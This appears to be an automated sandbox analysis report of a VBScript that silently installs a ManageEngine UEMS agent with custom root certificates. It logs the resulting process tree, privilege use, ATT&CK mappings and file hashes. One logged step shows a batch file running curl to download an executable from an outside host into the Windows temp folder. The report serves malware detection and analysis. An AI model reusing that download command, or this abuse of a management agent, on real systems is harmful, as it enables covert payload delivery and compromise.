dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2028 msiexec.exe Token: SeIncreaseQuotaPrivilege 2028 msiexec.exe Token: SeSecurityPrivilege 564 msiexec.exe Token: SeCreateTokenPrivilege 2028 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2028 msiexec.exe Token: SeLockMemoryPrivilege 2028 msiexec.exe Token: SeIncreaseQuotaPrivilege 2028 msiexec.exe Token: SeMachineAccountPrivilege 2028 msiexec.exe Token: SeTcbPrivilege 2028 msiexec.exe Token: SeSecurityPrivilege 2028 msiexec.exe Token: SeTakeOwnershipPrivilege 2028 msiexec.exe Token: SeLoadDriverPrivilege 2028 msiexec.exe Token: SeSystemProfilePrivilege 2028 msiexec.exe Token: SeSystemtimePrivilege 2028 msiexec.exe Token: SeProfSingleProcessPrivilege 2028 msiexec.exe Token: SeIncBasePriorityPrivilege 2028 msiexec.exe Token: SeCreatePagefilePrivilege 2028 msiexec.exe Token: SeCreatePermanentPrivilege 2028 msiexec.exe Token: SeBackupPrivilege 2028 msiexec.exe Token: SeRestorePrivilege 2028 msiexec.exe Token: SeShutdownPrivilege 2028 msiexec.exe Token: SeDebugPrivilege 2028 msiexec.exe Token: SeAuditPrivilege 2028 msiexec.exe Token: SeSystemEnvironmentPrivilege 2028 msiexec.exe Token: SeChangeNotifyPrivilege 2028 msiexec.exe Token: SeRemoteShutdownPrivilege 2028 msiexec.exe Token: SeUndockPrivilege 2028 msiexec.exe Token: SeSyncAgentPrivilege 2028 msiexec.exe Token: SeEnableDelegationPrivilege 2028 msiexec.exe Token: SeManageVolumePrivilege 2028 msiexec.exe Token: SeImpersonatePrivilege 2028 msiexec.exe Token: SeCreateGlobalPrivilege 2028 msiexec.exe Token: SeRestorePrivilege 564 msiexec.exe Token: SeTakeOwnershipPrivilege 564 msiexec.exe Token: SeRestorePrivilege 564 msiexec.exe Token: SeTakeOwnershipPrivilege 564 msiexec.exe Token: SeRestorePrivilege 564 msiexec.exe Token: SeTakeOwnershipPrivilege 564 msiexec.exe Token: SeRestorePrivilege 564 msiexec.exe Token: SeTakeOwnershipPrivilege 564 msiexec.exe Token: SeRestorePrivilege 564 msiexec.exe Token: SeTakeOwnershipPrivilege 564 msiexec.exe Token: SeRestorePrivilege 564 msiexec.exe Token: SeTakeOwnershipPrivilege 564 msiexec.exe Token: SeRestorePrivilege 564 msiexec.exe Token: SeTakeOwnershipPrivilege 564 msiexec.exe Token: SeRestorePrivilege 3348 7za.exe Token: 35 3348 7za.exe Token: SeSecurityPrivilege 3348 7za.exe Token: SeSecurityPrivilege 3348 7za.exe Token: SeDebugPrivilege 2236 dcusbsummary.exe Token: SeDebugPrivilege 1096 dcswmeter.exe Token: SeRestorePrivilege 564 msiexec.exe Token: SeTakeOwnershipPrivilege 564 msiexec.exe Token: SeRestorePrivilege 564 msiexec.exe Token: SeTakeOwnershipPrivilege 564 msiexec.exe Token: SeRestorePrivilege 564 msiexec.exe Token: SeTakeOwnershipPrivilege 564 msiexec.exe Token: SeRestorePrivilege 564 msiexec.exe Token: SeTakeOwnershipPrivilege 564 msiexec.exe Token: SeRestorePrivilege 564 msiexec.exe Token: SeTakeOwnershipPrivilege 564 msiexec.exe Token: SeRestorePrivilege 564 msiexec.exe Token: SeTakeOwnershipPrivilege 564 msiexec.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2236 dcusbsummary.exe - Suspicious use of WriteProcessMemory 38 IoCs
description pid Process procid_target PID 4228 wrote to memory of 4692 4228 WScript.exe 91 PID 4692 wrote to memory of 2028 4692 wscript.exe 92 PID 564 wrote to memory of 1084 564 msiexec.exe 96 PID 564 wrote to memory of 2912 564 msiexec.exe 101 PID 2912 wrote to memory of 3348 2912 dcagentregister.exe 105 PID 2912 wrote to memory of 4968 2912 dcagentregister.exe 110 PID 4968 wrote to memory of 872 4968 cmd.exe 112 PID 2912 wrote to memory of 4712 2912 dcagentregister.exe 115 PID 2912 wrote to memory of 4376 2912 dcagentregister.exe 117 PID 3048 wrote to memory of 4144 3048 dcagentservice.exe 121 PID 3048 wrote to memory of 2236 3048 dcagentservice.exe 120 PID 2236 wrote to memory of 4092 2236 dcusbsummary.exe 123 PID 3048 wrote to memory of 1520 3048 dcagentservice.exe 125 PID 3048 wrote to memory of 2456 3048 dcagentservice.exe 127 PID 3048 wrote to memory of 1096 3048 dcagentservice.exe 128 PID 3048 wrote to memory of 1800 3048 dcagentservice.exe 131 PID 3048 wrote to memory of 4696 3048 dcagentservice.exe 133 PID 4376 wrote to memory of 4996 4376 dcinventory.exe 135 PID 4696 wrote to memory of 1788 4696 dcconfig.exe 136 PID 3048 wrote to memory of 1044 3048 dcagentservice.exe 140 PID 3048 wrote to memory of 5232 3048 dcagentservice.exe 146 PID 4696 wrote to memory of 5240 4696 dcconfig.exe 147 PID 4696 wrote to memory of 5304 4696 dcconfig.exe 149 PID 3048 wrote to memory of 5924 3048 dcagentservice.exe 154 PID 4696 wrote to memory of 6056 4696 dcconfig.exe 156 PID 4696 wrote to memory of 5420 4696 dcconfig.exe 158 PID 4696 wrote to memory of 4728 4696 dcconfig.exe 160 PID 4696 wrote to memory of 1188 4696 dcconfig.exe 162 PID 4696 wrote to memory of 5532 4696 dcconfig.exe 164 PID 4696 wrote to memory of 1528 4696 dcconfig.exe 168 PID 4696 wrote to memory of 4252 4696 dcconfig.exe 170 PID 4696 wrote to memory of 5596 4696 dcconfig.exe 172 PID 3048 wrote to memory of 2740 3048 dcagentservice.exe 177 PID 4696 wrote to memory of 5688 4696 dcconfig.exe 178 PID 4696 wrote to memory of 5804 4696 dcconfig.exe 180 PID 4696 wrote to memory of 1824 4696 dcconfig.exe 183 PID 1824 wrote to memory of 512 1824 dctask64.exe 185 PID 512 wrote to memory of 3616 512 cmd.exe 187
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\setup1.vbs"1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4228 -
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\setup1.vbs" /elevated2⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4692 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA.crt" /qn3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2028
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:564 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A0B0C2403E7885CA10CCA1F688F441E62⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1084
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3348
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4968 -
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe4⤵
- System Location Discovery: System Language Discovery
- Gathers system information
PID:872
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 223⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4712
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -i postinstallation 0 13⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4376 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\metroapps.exemetroapps.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4996
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:32
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2236 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 93⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:4092
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe7 0 02⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4144
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exebin\dcstatusutil.exe RequestAgentSlotFromServer2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:1520
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2456
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1096
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:1800
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe3 0 02⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4696 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -p processor compatibility3⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:1788
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe -r3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:5240
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe -s3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:5304
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" OSDetection.json3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6056
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5420
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4728
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1188
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5532
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1528
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4252
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe" -m 1 -c Refresh3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:5596 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 11444⤵
- Program crash
PID:5736
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe -r3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:5688
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe -s3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:5804
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dctask64.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dctask64.exe" a17c14b742f313b3ca71a715520cb878 bdba257f526265c217111ef2cbce5cd8 3016e5ac2b587029a6046c9021a80f18 d1554e705fac48af42b94411f5b5a6515cea62b4ccdaebedff5a66b3e26d133d4778f97bdfa11efd573fc25882b2ee86b1924f3792486c01f3fadf21b01a782261abf1a8c7928c44ca5aec63efe5528bac258d724efdcb64d12d3f397a00601f3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1824 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\Computer\startup\1202\sunsshu.bat" "4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:512 -
C:\Windows\system32\curl.execurl -s -L -o "C:\Windows\TEMP\deployment_package.exe" "https://www.kammwv.cc/222/9989.exe"5⤵PID:3616
-
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exeDCProcessMonitor.exe2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:1044
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:5232
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:5924
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2740
-
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵PID:2704
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5596 -ip 55961⤵PID:1292
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2Visual Basic
1Windows Command Shell
1Defense Evasion
Modify Registry
1Subvert Trust Controls
2Install Root Certificate
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e58e241.rbs
- Size 58KB
- SHA256 37deba4ddea02619444f1a1aa7c618b7f86d0bd1189b56027765ee8241580303
- MD5 39c3dc17bc7cd2da752ccc2cbc95f9ad
- SHA1 03f244ff1d8d68359a2b638b30a746344565c2ca
- SHA512 4140d8f82e0b8f8c0c20547784528164236a0b9d366ce21d5037057c92de62f0e690885edadbf68cf52a5d865c1f074fc26813064878b9b73c0ad9793a0ed89d
- SSDEEP 768:lYOamH6jx6gZiypDO+uT0KWJpbQbGJiauaOhiOVbm:2BsCx6xeDO+MWS/VLi2bm
- TLSH T148437266DB26E2CBD1151AF733826D1806094C7B66F0C43E1318AD3BD4DBA457EBF868
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e58e246.rbs
- Size 546B
- SHA256 c8d8e170887b3c063590a843c144e616e30aec41ac0416d4bfb3775555be63bd
- MD5 e3b3a9ade3626ed2113e1cd4e4cfc113
- SHA1 3957f0f4a9fd9f78be8007ce55415d66c17dd1c7
- SHA512 84a92b68d654ad01402ebf1e7c11c4d693cc07fb4951f1c8b04b80f0a7ca53c7c6b9f832978c64977ad0680bb4294e2e938d635b2927134f293d5c5b9690e814
- TLSH T1C1F09EA3E70841D2E6A06E3613436F051A3FE57AD19447752D846238BE1620A5EFE0CC
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
- Size 1002B
- SHA256 ae6e32c34580e75fd8232c3abe2f6461a27c06b59a49a26459a02695487c03bc
- MD5 1d4ababcadb7df3801cd1403acc603af
- SHA1 6b22a3539700eff4921e7c471473acdee219fe76
- SHA512 344d0e4b472098752c00319e573ba016d345e4df258db6791da32a8e4fa3e69017fe1855b39b00122f1d43fd8a2c79888140d8704288cce3a02d8b69502559e8
- TLSH T148116566CA5D044C7A3EED4CB144D82330D5EB92764DB0CFB2B41DD93A6AE75325CC52
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\179091369546962412.download
- Size 1KB
- SHA256 e1e04eaf099f9312b846aab8da4eaf2ec4cba6ed6f178e692b0ce389d826f233
- MD5 34be81bc49035f2a42f90f2a41745388
- SHA1 f7dc2d119ec446edc26d00b00cff574f40293c6b
- SHA512 e8d291bf4ea48012b86c05e1cf75288ae6df3ff91fd96de3fa4d18d048238f872db98b3207edac706b7df85cd30d5f4f9567f3c3854ed97c441ccb3bcd491f4d
- TLSH T13F3186C5059C17A70E370EA40B957539E44E03DB97352C8871AA01C7AFD5F9109EE6F6
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
- Size 802KB
- SHA256 f00836a63be7ebf14e1b8c40100c59777fe3432506b330927ea1f1b7fd47ee44
- MD5 8f57948e69c82bf98704f129c5460576
- SHA1 33e277af0cea397252c23d310961f803be5cdf2b
- SHA512 628cf68c9436721b874a87e1bff711d3b6fe5d4bd9b02411890059a7d32078a9592fc48e6e53761d17bdbd72c5eb66593b841470157a3e8b38f0b67525d73bc9
- SSDEEP 24576:L48I9t/zu2QSM0TMzOCkY+we/86W5gXKxZ5:Le71MzuiehWIKxZ
- TLSH T1C9059E22BAE5D07BD2421132CA1C7BF591F9976D0B2048C763808F6D7B359D1DA3AE1E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
- Size 2.3MB
- SHA256 7627f75435af64ab72991eb93996df3f61101e7b57cdf5a9d8d2e06d75b76aad
- MD5 2843aac7409fc7e54722c6238342f660
- SHA1 3e40879eacf10473127386816c24e0cf245410f6
- SHA512 f8a6e689f3b0c6761aa84f29d717d192fc0b34767a06d551a3937827a95f0cf740baada2a151b4ef6138a0fa626a93c94d45e34c235de63e265cebf32c9e70c2
- SSDEEP 49152:8P5i/uH8WK6WK0Lh8tRjd4b39T9+LoSaEYLUzSPrBsFwZkmTbk8iE8phYhlJFxI:8P5i/uH8WK6WK0WtRU9TAodE0UzirBsH
- TLSH T17CB5BF23EA808032E4CE053692FD5BB65D3E9A10132CA9D3ABD53DB45E755E2663C34F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe64.exe.config
- Size 174B
- SHA256 832208e81fb2ccabfa2ef289f89d47a2665b451a9550d597821b7d6f39373159
- MD5 c98570a2004587ccac5ac6de21859690
- SHA1 0726125790986ab8034cc4bfb6c87e48f6d908e3
- SHA512 5ca2548e689e32a22b4f12f578dc1309783d9834d82aaa82d489f3cf727e6e6ea2712b1c848452af50f39416eed6cb07d525a158a1a95102a56efb283228baba
- TLSH T1DBC08C6A4634F92F6C021F632B2006412FF502E12068A00CE0CF3F00161004FE30A306
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Bold.eot
- Size 250KB
- SHA256 b91fc1ca55df440dc11354b32a39b45db663d24bb17b16dcb2e706330955b0d1
- MD5 a2fb219c999a8fa6b95ad7c24890072e
- SHA1 d0a396e49e4a5cca88e454e3463b7b6b4d57cddb
- SHA512 aca3eaa61261f2bf3d1da691b2d6e48e70efb139238d7b885559573d325449aff9a21452903553799b47c8bdfefe242b1b29b31225e94871767acdd8257066a2
- SSDEEP 6144:7gdw3WS+AcP021JmpP4D5NFhW9FNOj23RHbu6wtAadMYAm/o:7gOm2pgNFhQy29buHt//W
- TLSH T13544123CE5D727C68951C1A34D18A3DE329CF8AE5C56FBA5349AF8BC8CC15130B5EA81
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Medium.eot
- Size 245KB
- SHA256 1727853b9469a665c3a5573e39503bc592a794d810aed5d03e9a8940f507823c
- MD5 cecc32d267ee07ce3413637314b66ca0
- SHA1 627b584f88033791f427091fff74c9310bdc2ef1
- SHA512 b2f21a38ba5608b4851ee8404abb7ce752388b0b9dfcb24c10f4a1961048ce3d4f811f92b7fb7f2040a1f79243b99760e17ed34c4f0f24a5c2031db47322026e
- SSDEEP 6144:SOcdcK8q3U1SniBmXCCCBT6vTy8bV5O+M059N:nOcWEtkCCCBT6Ly8bfM059N
- TLSH T12D341201EAF9036FE595D2CB68056B269517891049B0ECAEE1FF1B3E0CDCEFC46815E9
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z
- Size 14.6MB
- SHA256 6d5bf676a5800214126df113bbf68a8b3f6ea051ccfbf212c11927df89035082
- MD5 b26cb94e52dd0688c3a77b46e883f084
- SHA1 27692088d8f3d321a6f9afb39395f6109f0469e9
- SHA512 9823343c9c341b3a9c07ad9b3c89ec9c2efc8ea31f3937cfccd3c03724494ebddcd83a53a383087d2cc8e4aedff1e64aa7bcd76fc7d6a28fec4c6309bbd19311
- SSDEEP 393216:FT+EJ+ygjrEhL2oJ/3u6xC/9HI7T3ebuRgzPNK:FT+U+nQhL2oJ/jI/WXeiKk
- TLSH T15FF633E9B4828A4BC5C889B0C64681C4E1CE41B5DC9A6CB6D5B167BFD3DA8C714DB3F0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ca-certs.zip
- Size 160B
- SHA256 7e6debd55c669504ffd364e96b1e539c5d6839472887ecd739ba79b155c62fa1
- MD5 7fe1c49c6da9570331515a2d300642e3
- SHA1 13c824b889876a1ae1e94faeed430185329df502
- SHA512 9de0c421861be17aa0e32ee5a3b603be946f075bb7178e7ee40d8b8639bedd3761e88114dfddc4aa0ab5ae20d6adfae5535b7205b8fa3674e6e8aaad27a0fb7a
- TLSH T1A0C0122AC1CA24F0EF077FB6B05613A34D0CC1FB020386570C4690401F81EAD8D2C406
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cfgUpdate.exe
- Size 62KB
- SHA256 7232bb0e4842bf2f8a370dce70df60c72560416a5bb317650cf88afbd7acb820
- MD5 8e3d3fe805da01bc5abb251f2fb58705
- SHA1 8adc16a8e417cfe1130c3b3e40495ea977374fdf
- SHA512 8e742dc4122c3971f3a0175f648647ba0630fb87d0c1a415c5cd38178643a07a0e2e9ca5e360b3e1de530dba5ba323aa963de9daf204bb0ab19afaa38372311a
- SSDEEP 768:KuhPgdGgqsgO0JRCXwvtLqhjgiWmZhSX0P+4EDsXnqmpif52TZaZTAMxkEYg:KuhP+dgv0AvUjymZhSEPF4k4xH
- TLSH T167537B27B390C432D462197458A9C2725E7B79620BF8D6C77788037E4FB13D0AEB935A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cold_normal_msghldr.gif
- Size 536B
- SHA256 fc7d90a7546fb0f8c8ad6e617f74d185be15f85aaf5d329919bc2776887bc9d1
